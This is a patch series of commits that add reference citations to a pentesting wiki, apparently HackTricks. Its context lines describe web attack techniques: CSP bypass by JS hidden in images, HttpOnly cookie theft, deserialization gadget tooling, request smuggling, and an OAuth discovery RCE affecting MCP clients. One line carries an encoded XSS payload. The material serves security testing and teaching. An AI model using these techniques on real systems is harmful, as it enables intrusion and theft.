[https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)[[19]](#references) You could also abuse this configuration to **load javascript code inserted inside an image**. If for example, the page allows loading images from Twitter. You could **craft** an **special image**, **upload** it to Twitter and abuse the "**unsafe-inline**" to **execute** a JS code (as a regular XSS) that will **load** the **image**, **extract** the **JS** from it and **execute** **it**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)[[20]](#references) diff --git a/src/pentesting-web/deserialization/README.md b/src/pentesting-web/deserialization/README.md index cb73d93e184..b5a8d45c9d7 100644 --- a/src/pentesting-web/deserialization/README.md +++ b/src/pentesting-web/deserialization/README.md @@ -402,8 +402,8 @@ deserialize(test) In the following pages you can find information about how to abuse this library to execute arbitrary commands:[[7]](#references)[[8]](#references) -- [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/) -- [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418) +- [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)[[7]](#references) +- [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)[[8]](#references) ### React Server Components / react-server-dom-webpack Server Actions Abuse (CVE-2025-55182) @@ -773,9 +773,9 @@ jndi-java-naming-and-directory-interface-and-log4shell.md There are several products using this middleware to send messages:[[25]](#references) -![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../images/image (314).png>) +![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../images/image (314).png>)[[25]](#references) -![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../images/image (1056).png>) +![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../images/image (1056).png>)[[25]](#references) ### Exploitation diff --git a/src/pentesting-web/grpc-web-pentest.md b/src/pentesting-web/grpc-web-pentest.md index a1049975a30..e33637a5764 100644 --- a/src/pentesting-web/grpc-web-pentest.md +++ b/src/pentesting-web/grpc-web-pentest.md @@ -113,13 +113,13 @@ AAAAADoSFkFtaW4gTmFzaXJpIFhlbm9uIEdSUEMYNjoePHNjcmlwdD5hbGVydChvcmlnaW4pPC9zY3Jp ### Manual with gRPC‑Web Coder Burp Suite Extension -You can use gRPC‑Web Coder Burp Suite Extension in [gRPC‑Web Pentest Suite](https://github.com/nxenon/grpc-pentest-suite) which is easier. You can read the installation and usage instruction in its repo. +You can use gRPC‑Web Coder Burp Suite Extension in [gRPC‑Web Pentest Suite](https://github.com/nxenon/grpc-pentest-suite) which is easier. You can read the installation and usage instruction in its repo.[[2]](#references) ## Analysing gRPC‑Web JavaScript files Web apps using gRPC‑Web ship at least one generated JS/TS bundle. Reverse them to extract services, methods, and message shapes.[[1]](#references)[[2]](#references) -- Try using [gRPC-Scan](https://github.com/nxenon/grpc-pentest-suite) to parse bundles. +- Try using [gRPC-Scan](https://github.com/nxenon/grpc-pentest-suite) to parse bundles.[[2]](#references) - Look for method paths like /./, message field numbers/types, and custom interceptors that add auth headers. 1. Download the JavaScript gRPC‑Web file diff --git a/src/pentesting-web/h2c-smuggling.md b/src/pentesting-web/h2c-smuggling.md index d898e2f7049..7aad95992ae 100644 --- a/src/pentesting-web/h2c-smuggling.md +++ b/src/pentesting-web/h2c-smuggling.md @@ -83,7 +83,7 @@ Most reverse proxies are vulnerable to this scenario, but exploitation is contin #### Labs -Check the labs to test both scenarios in [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git) +Check the labs to test both scenarios in [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)[[3]](#references) ## References diff --git a/src/pentesting-web/hacking-jwt-json-web-tokens.md b/src/pentesting-web/hacking-jwt-json-web-tokens.md index 4495b6a6e41..d3ab356a851 100644 --- a/src/pentesting-web/hacking-jwt-json-web-tokens.md +++ b/src/pentesting-web/hacking-jwt-json-web-tokens.md @@ -412,7 +412,7 @@ The token's expiry is checked using the "exp" Payload claim. Given that JWTs are ### Tools - [jwt_tool](https://github.com/ticarpi/jwt_tool) – decoding, claim/header tampering, offline secret cracking (`-C`) and semi-automated attack modes (`-M at`). -- [Burp JWT Editor](https://github.com/PortSwigger/jwt-editor) – decode/re-sign in Repeater, generate custom keys, and run built-in attacks (**none**, **HMAC key confusion**, **embedded JWK**, **jku/x5u collaborator payloads**). +- [Burp JWT Editor](https://github.com/PortSwigger/jwt-editor) – decode/re-sign in Repeater, generate custom keys, and run built-in attacks (**none**, **HMAC key confusion**, **embedded JWK**, **jku/x5u collaborator payloads**).[[2]](#references) - [hashcat](https://hashcat.net/hashcat/) `-m 16500` – GPU-accelerated HS256 secret cracking after exporting JWTs to a wordlist.[[4]](#references) diff --git a/src/pentesting-web/hacking-with-cookies/README.md b/src/pentesting-web/hacking-with-cookies/README.md index 8c4a95eff8a..1a45ee58f96 100644 --- a/src/pentesting-web/hacking-with-cookies/README.md +++ b/src/pentesting-web/hacking-with-cookies/README.md @@ -44,10 +44,10 @@ Remember, while configuring cookies, understanding these attributes can help ens | AJAX | $.get("...") | NotSet\*, None | | Image | \ | NetSet\*, None | -Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) and slightly modified.\ +Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) and slightly modified.[[15]](#references)\ A cookie with _**SameSite**_ attribute will **mitigate CSRF attacks** where a logged session is needed. -**\*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite** **attribute will be lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\ +**\*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite** **attribute will be lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).[[16]](#references)\ Notice that temporary, after applying this change, the **cookies without a SameSite** **policy** in Chrome will be **treated as None** during the **first 2 minutes and then as Lax for top-level cross-site POST request.** ## Cookies Flags @@ -58,7 +58,7 @@ This avoids the **client** to access the cookie (Via **Javascript** for example: #### **Bypasses** -- If the page is **sending the cookies as the response** of a requests (for example in a **PHPinfo** page), it's possible to abuse the XSS to send a request to this page and **steal the cookies** from the response (check an example in [https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/)).[[6]](#references) +- If the page is **sending the cookies as the response** of a requests (for example in a **PHPinfo** page), it's possible to abuse the XSS to send a request to this page and **steal the cookies** from the response (check an example in [https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/)).[[6]](#references)[[17]](#references) - This could be Bypassed with **TRACE** **HTTP** requests as the response from the server (if this HTTP method is available) will reflect the cookies sent. This technique is called **Cross-Site Tracking**.[[5]](#references) - This technique is avoided by **modern browsers by not permitting sending a TRACE** request from JS. However, some bypasses to this have been found in specific software like sending `\r\nTRACE` instead of `TRACE` to IE6.0 SP2. - Another way is the exploitation of zero/day vulnerabilities of the browsers. @@ -99,7 +99,7 @@ It is important to note that cookies prefixed with `__Host-` are not allowed to ### Overwriting cookies -So, one of the protection of `__Host-` prefixed cookies is to prevent them from being overwritten from subdomains. Preventing for example [**Cookie Tossing attacks**](cookie-tossing.md). In the talk [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) it's presented that it was possible to set \_\_HOST- prefixed cookies from subdomain, by tricking the parser, for example, adding "=" at the beggining or at the beginig and the end...:[[14]](#references) +So, one of the protection of `__Host-` prefixed cookies is to prevent them from being overwritten from subdomains. Preventing for example [**Cookie Tossing attacks**](cookie-tossing.md). In the talk [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) it's presented that it was possible to set \_\_HOST- prefixed cookies from subdomain, by tricking the parser, for example, adding "=" at the beggining or at the beginig and the end...:[[14]](#references)[[18]](#references)
diff --git a/src/pentesting-web/http-request-smuggling/README.md b/src/pentesting-web/http-request-smuggling/README.md index 27928624aff..759e96debd5 100644 --- a/src/pentesting-web/http-request-smuggling/README.md +++ b/src/pentesting-web/http-request-smuggling/README.md @@ -661,7 +661,7 @@ By manipulating the `User-Agent` through smuggling, the payload bypasses normal The version HTTP/0.9 was previously to the 1.0 and only uses **GET** verbs and **doesn’t** respond with **headers**, just the body. -In [**this writeup**](https://mizu.re/post/twisty-python), this was abused with a request smuggling and a **vulnerable endpoint that will reply with the input of the user** to smuggle a request with HTTP/0.9. The parameter that will be reflected in the response contained a **fake HTTP/1.1 response (with headers and body)** so the response will contain valid executable JS code with a `Content-Type` of `text/html`. +In [**this writeup**](https://mizu.re/post/twisty-python), this was abused with a request smuggling and a **vulnerable endpoint that will reply with the input of the user** to smuggle a request with HTTP/0.9. The parameter that will be reflected in the response contained a **fake HTTP/1.1 response (with headers and body)** so the response will contain valid executable JS code with a `Content-Type` of `text/html`.[[10]](#references) ### Exploiting On-site Redirects with HTTP Request Smuggling diff --git a/src/pentesting-web/http-request-smuggling/browser-http-request-smuggling.md b/src/pentesting-web/http-request-smuggling/browser-http-request-smuggling.md index 5ec93f57570..fdce3ae00c2 100644 --- a/src/pentesting-web/http-request-smuggling/browser-http-request-smuggling.md +++ b/src/pentesting-web/http-request-smuggling/browser-http-request-smuggling.md @@ -12,8 +12,8 @@ Key constraints and tips - Validate genuine server-side desync vs. mere pipelining artifacts by re-testing without reuse, or by using the HTTP/2 nested-response check.[[3]](#references) For end-to-end techniques and PoCs see: -- PortSwigger Research – Browser‑Powered Desync Attacks: https://portswigger.net/research/browser-powered-desync-attacks -- PortSwigger Academy – client‑side desync: https://portswigger.net/web-security/request-smuggling/browser/client-side-desync +- PortSwigger Research – Browser‑Powered Desync Attacks: https://portswigger.net/research/browser-powered-desync-attacks[[1]](#references) +- PortSwigger Academy – client‑side desync: https://portswigger.net/web-security/request-smuggling/browser/client-side-desync[[2]](#references) ## References diff --git a/src/pentesting-web/http-response-smuggling-desync.md b/src/pentesting-web/http-response-smuggling-desync.md index 1ef6f041ef0..29905fa67ea 100644 --- a/src/pentesting-web/http-response-smuggling-desync.md +++ b/src/pentesting-web/http-response-smuggling-desync.md @@ -2,7 +2,7 @@ {{#include ../banners/hacktricks-training.md}} -**The technique of this post was taken from the video:** [**https://www.youtube.com/watch?v=suxDcYViwao\&t=1343s**](https://www.youtube.com/watch?v=suxDcYViwao&t=1343s) +**The technique of this post was taken from the video:** [**https://www.youtube.com/watch?v=suxDcYViwao\&t=1343s**](https://www.youtube.com/watch?v=suxDcYViwao&t=1343s)[[3]](#references) ## HTTP Request Queue Desynchronisation diff --git a/src/pentesting-web/oauth-to-account-takeover.md b/src/pentesting-web/oauth-to-account-takeover.md index f465b1ee645..86682e15e7a 100644 --- a/src/pentesting-web/oauth-to-account-takeover.md +++ b/src/pentesting-web/oauth-to-account-takeover.md @@ -382,7 +382,7 @@ Dynamic Client Registration in OAuth serves as a less obvious but critical vecto ### OAuth/OIDC Discovery URL Abuse & OS Command Execution -Research on [CVE-2025-6514](https://amlalabs.com/blog/oauth-cve-2025-6514/) (impacting `mcp-remote` clients such as Claude Desktop, Cursor or Windsurf) shows how **dynamic OAuth discovery becomes an RCE primitive** whenever the client forwards IdP metadata straight to the operating system. The remote MCP server returns an attacker-controlled `authorization_endpoint` during the discovery exchange (`/.well-known/openid-configuration` or any metadata RPC). `mcp-remote ≤0.1.15` would then call the system URL handler (`start`, `open`, `xdg-open`, etc.) with whatever string arrived, so any scheme/path supported by the OS executed locally. +Research on [CVE-2025-6514](https://amlalabs.com/blog/oauth-cve-2025-6514/) (impacting `mcp-remote` clients such as Claude Desktop, Cursor or Windsurf) shows how **dynamic OAuth discovery becomes an RCE primitive** whenever the client forwards IdP metadata straight to the operating system. The remote MCP server returns an attacker-controlled `authorization_endpoint` during the discovery exchange (`/.well-known/openid-configuration` or any metadata RPC). `mcp-remote ≤0.1.15` would then call the system URL handler (`start`, `open`, `xdg-open`, etc.) with whatever string arrived, so any scheme/path supported by the OS executed locally.[[6]](#references) **Attack workflow** From f0b443003bc4966bcc4c16cc53f7b1e2fd38802f Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Thu, 6 Aug 2026 13:25:12 +0200 Subject: [PATCH 08/10] References: add entries for content sources cited only inline Sources the prose draws on (writeups, advisories, research posts) now have a numbered References entry and the line that uses them cites it. Tool, download and product links are left inline. --- .../README.md | 3 ++- .../content-security-policy-csp-bypass/README.md | 3 ++- src/pentesting-web/deserialization/README.md | 12 ++++++++---- src/pentesting-web/http-response-smuggling-desync.md | 3 ++- 4 files changed, 14 insertions(+), 7 deletions(-) diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/README.md b/src/pentesting-web/browser-extension-pentesting-methodology/README.md index d8a2e8673df..19c5810cde0 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/README.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/README.md @@ -654,7 +654,7 @@ Browser extensions also allow to communicate with **binaries in the system via s Where the `name` is the string passed to [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) or [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) to communicate with the application from the background scripts of the browser extension. The `path` is the path to the binary, there is only 1 valid `type` which is stdio (use stdin and stdout) and the `allowed_origins` indicate the extensions that can access it (and can't have wildcard). -Chrome/Chromium will search for this json in some windows registry and some paths in macOS and Linux (more info in the [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)). +Chrome/Chromium will search for this json in some windows registry and some paths in macOS and Linux (more info in the [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).[[17]](#references) > [!TIP] > The browser extension also needs the `nativeMessaing` permission declared in order to be able to use this communication. @@ -874,5 +874,6 @@ Project Neto is a Python 3 package conceived to analyse and unravel hidden featu - [14] [Opera Browser Zero-Day RCE Vulnerability on Cross-Platforms](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability) - [15] Thanks to [@naivenom](https://twitter.com/naivenom) for the help with this methodology - [16] [Passbolt PBL-02 security report](https://help.passbolt.com/assets/files/PBL-02-report.pdf) +- [17] [developer.chrome.com - Concepts - Native Messaging](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index 2f0abdd7106..f8ea363dfb9 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -491,7 +491,7 @@ This snippet highlights the usage of the `ng-focus` directive to trigger the eve Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url; ``` -A CSP policy that whitelists domains for script loading in an Angular JS application can be bypassed through the invocation of callback functions and certain vulnerable classes. Further information on this technique can be found in a detailed guide available on this [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).[[17]](#references) +A CSP policy that whitelists domains for script loading in an Angular JS application can be bypassed through the invocation of callback functions and certain vulnerable classes. Further information on this technique can be found in a detailed guide available on this [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).[[17]](#references)[[36]](#references) Working payloads: @@ -929,5 +929,6 @@ navigator.credentials.store( - [33] [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg) - [34] [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/) - [35] [Google Zer0pts / Imaginary CTF 2023 writeup (reCAPTCHA CSP bypass)](https://blog.huli.tw/2023/07/28/en/google-zer0pts-imaginary-ctf-2023-writeup/) +- [36] [cure53/XSSChallengeWiki](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/deserialization/README.md b/src/pentesting-web/deserialization/README.md index b5a8d45c9d7..c4ea221aa7c 100644 --- a/src/pentesting-web/deserialization/README.md +++ b/src/pentesting-web/deserialization/README.md @@ -536,7 +536,7 @@ Using Burp extension [**Java Deserialization Scanner**](java-dns-deserialization Java Deserialization Scanner is focused on **`ObjectInputStream`** deserializations. You can also use [**Freddy**](https://github.com/nccgroup/freddy) to **detect deserializations** vulnerabilities in **Burp**. This plugin will detect **not only `ObjectInputStream`** related vulnerabilities but **also** vulns from **Json** an **Yml** deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads.\ -[**You can find more information about Freddy here.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/) +[**You can find more information about Freddy here.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)[[50]](#references) **Serialization Test** @@ -623,7 +623,7 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local') #### serialkillerbypassgadgets -You can **use** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **along with ysoserial to create more exploits**. More information about this tool in the **slides of the talk** where the tool was presented: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1) +You can **use** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **along with ysoserial to create more exploits**. More information about this tool in the **slides of the talk** where the tool was presented: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)[[51]](#references) #### marshalsec @@ -654,7 +654,7 @@ mvn clean package -DskipTests #### FastJSON -Read more about this Java JSON library: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html) +Read more about this Java JSON library: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)[[52]](#references) ### Labs @@ -1063,7 +1063,7 @@ Check more information in the [Ruby _json pollution page](ruby-_json-pollution.m ### Other libraries -This technique was taken[ **from this blog post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).[[33]](#references) +This technique was taken[ **from this blog post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).[[33]](#references)[[53]](#references) There are other Ruby libraries that can be used to serialize objects and therefore that could be abused to gain RCE during an insecure deserialization. The following table shows some of these libraries and the method they called of the loaded library whenever it's unserialized (function to abuse to get RCE basically): @@ -1261,5 +1261,9 @@ Industrialized gadget discovery: - [47] [Luke Jahnke - Gem::SafeMarshal escape](https://nastystereo.com/security/ruby-safe-marshal-escape.html) - [48] [Ruby 3.4.0-rc1 release](https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1) - [49] [Ruby fix PR #12444](https://github.com/ruby/ruby/pull/12444) +- [50] [nccgroup.com - You can find more information about Freddy here](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer) +- [51] [es.slideshare.net - Java Deserialization Vulnerabilities The Forgotten Bug Class](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1) +- [52] [alphabot.com - Fastjson Exceptional Deserialization Vulnerabilities](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html) +- [53] [github.blog - from this blog post](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/http-response-smuggling-desync.md b/src/pentesting-web/http-response-smuggling-desync.md index 29905fa67ea..f26037bb2ef 100644 --- a/src/pentesting-web/http-response-smuggling-desync.md +++ b/src/pentesting-web/http-response-smuggling-desync.md @@ -2,7 +2,7 @@ {{#include ../banners/hacktricks-training.md}} -**The technique of this post was taken from the video:** [**https://www.youtube.com/watch?v=suxDcYViwao\&t=1343s**](https://www.youtube.com/watch?v=suxDcYViwao&t=1343s)[[3]](#references) +**The technique of this post was taken from the video:** [**https://www.youtube.com/watch?v=suxDcYViwao\&t=1343s**](https://www.youtube.com/watch?v=suxDcYViwao&t=1343s)[[3]](#references)[[4]](#references) ## HTTP Request Queue Desynchronisation @@ -184,5 +184,6 @@ From an offensive point of view, this means it is worth testing **legacy methods - [1] [PortSwigger - Making desync attacks easy with TRACE](https://portswigger.net/research/trace-desync-attack) - [2] [USENIX Security 2025 - The Silent Danger in HTTP: Identifying HTTP Desync Vulnerabilities with Gray-box Testing](https://www.usenix.org/system/files/usenixsecurity25-mu.pdf) - [3] [DEF CON 29 - Martin Doyhenard - Response Smuggling: Pwning HTTP/1.1 Connections](https://www.youtube.com/watch?v=suxDcYViwao&t=1343s) +- [4] [youtube.com - Watch](https://www.youtube.com/watch?v=suxDcYViwao) {{#include ../banners/hacktricks-training.md}} From 0e74289dd473dac1bc4583f102a79092d69df2c8 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Thu, 6 Aug 2026 13:32:41 +0200 Subject: [PATCH 09/10] References: merge duplicate entries pointing at the same source The same URL was listed twice; the later entry is removed, the list is renumbered contiguously and every citation remapped to the surviving number. --- src/pentesting-web/deserialization/README.md | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/src/pentesting-web/deserialization/README.md b/src/pentesting-web/deserialization/README.md index c4ea221aa7c..0c340cca5c0 100644 --- a/src/pentesting-web/deserialization/README.md +++ b/src/pentesting-web/deserialization/README.md @@ -1063,7 +1063,7 @@ Check more information in the [Ruby _json pollution page](ruby-_json-pollution.m ### Other libraries -This technique was taken[ **from this blog post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).[[33]](#references)[[53]](#references) +This technique was taken[ **from this blog post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).[[33]](#references) There are other Ruby libraries that can be used to serialize objects and therefore that could be abused to gain RCE during an insecure deserialization. The following table shows some of these libraries and the method they called of the loaded library whenever it's unserialized (function to abuse to get RCE basically): @@ -1264,6 +1264,5 @@ Industrialized gadget discovery: - [50] [nccgroup.com - You can find more information about Freddy here](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer) - [51] [es.slideshare.net - Java Deserialization Vulnerabilities The Forgotten Bug Class](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1) - [52] [alphabot.com - Fastjson Exceptional Deserialization Vulnerabilities](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html) -- [53] [github.blog - from this blog post](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared) {{#include ../../banners/hacktricks-training.md}} From d9a12a658efef4c88b3667aeb84b42af13f251d9 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Thu, 6 Aug 2026 13:50:44 +0200 Subject: [PATCH 10/10] References: cite previously-unused reference entries Each superscript points at the existing line the reference documents. --- .../README.md | 2 +- src/pentesting-web/clickjacking.md | 2 +- src/pentesting-web/client-side-path-traversal.md | 2 +- .../content-security-policy-csp-bypass/README.md | 4 ++-- src/pentesting-web/deserialization/README.md | 12 ++++++------ src/pentesting-web/http-request-smuggling/README.md | 6 +++--- src/pentesting-web/open-redirect.md | 8 ++++---- 7 files changed, 18 insertions(+), 18 deletions(-) diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/README.md b/src/pentesting-web/browser-extension-pentesting-methodology/README.md index 19c5810cde0..6e91381038a 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/README.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/README.md @@ -690,7 +690,7 @@ Of course, do **not put sensitive information in the code**, as it will be **pub To dump memory from the browser you could **dump the process memory** or to go to the **settings** of the browser extension click on **`Inspect pop-up`** -> In the **`Memory`** section -> **`Take a snaphost`** and **`CTRL+F`** to search inside the snapshot for sensitive info. -Moreover, highly sensitive information like mnemonic keys or passwords **shouldn't be allowed to be copied in the clipboard** (or at least remove it from the clipboard in a few seconds) because then processes monitoring the clipboard will be able to get them. +Moreover, highly sensitive information like mnemonic keys or passwords **shouldn't be allowed to be copied in the clipboard** (or at least remove it from the clipboard in a few seconds) because then processes monitoring the clipboard will be able to get them.[[16]](#references) ## Loading an Extension in the Browser diff --git a/src/pentesting-web/clickjacking.md b/src/pentesting-web/clickjacking.md index 3cdf511e690..b3c77e939f2 100644 --- a/src/pentesting-web/clickjacking.md +++ b/src/pentesting-web/clickjacking.md @@ -103,7 +103,7 @@ An attacker could prepare a **Clickjacking** attack to that page **prepopulating ### DoubleClickjacking -Firstly [explained in this post](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html), this technique would ask the victim to double click on a button of a custom page placed in a specific location, and use the timing differences between mousedown and onclick events to load the victim page duing the double click so the **victim actually clicks a legit button in the victim page**.[[11]](#references) +Firstly [explained in this post](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html), this technique would ask the victim to double click on a button of a custom page placed in a specific location, and use the timing differences between mousedown and onclick events to load the victim page duing the double click so the **victim actually clicks a legit button in the victim page**.[[11]](#references)[[12]](#references) An example could be seen in this video: [https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18) diff --git a/src/pentesting-web/client-side-path-traversal.md b/src/pentesting-web/client-side-path-traversal.md index e56b2e866ae..80e09e7ab50 100644 --- a/src/pentesting-web/client-side-path-traversal.md +++ b/src/pentesting-web/client-side-path-traversal.md @@ -55,7 +55,7 @@ See details and mitigations in the Cache Deception page: [Cache Poisoning and Ca ### Passive discovery with intercepting proxies - **Correlate sources/sinks automatically**: the [CSPT Burp extension](https://github.com/doyensec/CSPTBurpExtension) parses your proxy history, clusters parameters that are later reflected inside other requests’ paths, and can reissue proof-of-concept URLs with canary tokens to confirm exploitable traversals. After loading the JAR, set the `Source Scope` to client parameters (e.g., `id`, `slug`) and the `Sink Methods` to `GET, POST, DELETE` so the extension highlights dangerous request builders. You can export all suspect sources with an embedded canary to validate them in bulk.[[4]](#references) -- **Look for double-URL-decoding**: while browsing with Burp or ZAP, watch for `/api/%252e%252e/` patterns that get normalized by the frontend before hitting the network—these usually show up as base64-encoded JSON bodies referencing route state and are easy to overlook without an automated scanner. +- **Look for double-URL-decoding**: while browsing with Burp or ZAP, watch for `/api/%252e%252e/` patterns that get normalized by the frontend before hitting the network—these usually show up as base64-encoded JSON bodies referencing route state and are easy to overlook without an automated scanner.[[8]](#references) ### Instrumenting SPA sinks manually diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index f8ea363dfb9..d56997ecac5 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -311,7 +311,7 @@ Angular XSS from a class name: #### Abusing google recaptcha JS code -According to [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) you can abuse [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) 